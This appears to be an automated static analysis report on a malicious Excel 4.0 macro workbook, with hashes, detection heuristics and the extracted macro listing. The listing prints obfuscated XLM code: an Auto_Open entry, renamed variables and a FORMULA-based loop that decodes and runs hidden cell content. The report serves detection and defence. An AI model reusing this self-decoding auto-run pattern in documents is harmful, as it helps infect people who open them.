Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e57ba6bf057bebea…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:44:29 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: bdf2a7ecab70a31f880cc2532391fb21 SHA-1: b8a63015b602c78893d296c42e681fafb10014dc SHA-256: e57ba6bf057bebeafa73742f7f4aafcc82605c754ad6ecd229fa5999c255fc7a
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6426 bytes
SHA-256: 1b9a11c6b6188eb5eabee672d7d3f13d9620efc85d4e843d97b50bbfd4994020
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  oPstmy
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F152 
' 0018     21 LABEL : Cell Value, String Constant - BmOmKp len=0 
' 0018     26 LABEL : Cell Value, String Constant - DxhkDTfSwzE len=0 
' 0018     21 LABEL : Cell Value, String Constant - earvuu len=0 
' 0018     24 LABEL : Cell Value, String Constant - FgwQozjgO len=0 
' 0018     23 LABEL : Cell Value, String Constant - fylGZrkf len=0 
' 0018     20 LABEL : Cell Value, String Constant - GCnvW len=0 
' 0018     25 LABEL : Cell Value, String Constant - HagWnYeHSb len=0 
' 0018     22 LABEL : Cell Value, String Constant - hjvvBqS len=0 
' 0018     22 LABEL : Cell Value, String Constant - PiOLDqw len=0 
' 0018     24 LABEL : Cell Value, String Constant - PymyabkvS len=0 
' 0018     20 LABEL : Cell Value, String Constant - qMvrK len=0 
' 0018     26 LABEL : Cell Value, String Constant - teeulGHfgnM len=0 
' 0018     20 LABEL : Cell Value, String Constant - Unmrr len=0 
' 0018     21 LABEL : Cell Value, String Constant - vwlmyp len=0 
' 0018     26 LABEL : Cell Value, String Constant - WKfSfUyKbKZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - WWiqNGi len=0 
' 0018     24 LABEL : Cell Value, String Constant - WXwsMOtmI len=0 
' 0018     26 LABEL : Cell Value, String Constant - XyjHxnJWzob len=0 
' 0018     20 LABEL : Cell Value, String Constant - ygwEI len=0 
' 0018     23 LABEL : Cell Value, String Constant - zCqviuXN len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  oPstmy,F61,"SET.NAME("earvuu",VALUE("0"))",""
'  oPstmy,F64,"SET.NAME("PiOLDqw",earvuu)",""
'  oPstmy,F66,"SET.NAME("WWiqNGi",earvuu)",""
'  oPstmy,F70,"SET.NAME("WKfSfUyKbKZ",COUNTA(fylGZrkf))",""
'  oPstmy,F73,"SET.NAME("qMvrK",COUNTA(XyjHxnJWzob))",""
'  oPstmy,F78,[],""
'  oPstmy,F83,"SET.NAME("GCnvW","")",""
'  oPstmy,F85,"PiOLDqw",""
'  oPstmy,F90,"SET.NAME("Unmrr",HLOOKUP("*",fylGZrkf,PiOLDqw,FALSE))",""
'  oPstmy,F95,"HagWnYeHSb",""
'  oPstmy,F100,"SET.NAME("BmOmKp",earvuu)",""
'  oPstmy,F104,[],""
'  oPstmy,F107,"BmOmKp",""
'  oPstmy,F111,"zCqviuXN",""
'  oPstmy,F114,"teeulGHfgnM",""
'  oPstmy,F116,"DxhkDTfSwzE",""
'  oPstmy,F120,"SET.NAME("PymyabkvS",VALUE(HLOOKUP("*",XyjHxnJWzob,DxhkDTfSwzE,FALSE)))",""
'  oPstmy,F123,"FgwQozjgO",""
'  oPstmy,F126,"GCnvW",""
'  oPstmy,F130,"WWiqNGi",""
'  oPstmy,F132,NEXT(),""
'  oPstmy,F137,"ygwEI",""
'  oPstmy,F139,"SET.NAME("f",INT(T(FORMULA(T(GCnvW)&"",""&T(ygwEI)))))",""
'  oPstmy,F141,"WXwsMOtmI",""
'  oPstmy,F144,NEXT(),""
'  oPstmy,F149,RETURN(),""
'  oPstmy,F178,"SET.NAME("hjvvBqS",F61)",""
'  oPstmy,F181,"fylGZrkf",""
'  oPstmy,F183,"SET.NAME("XyjHxnJWzob",R88C11)",""
'  oPstmy,F188,"SET.NAME("WXwsMOtmI",197)",""
'  oPstmy,F193,"SET.NAME("vwlmyp",6)",""
'  oPstmy,F196,hjvvBqS(),""
'  oPstmy,F197,HALT(),""

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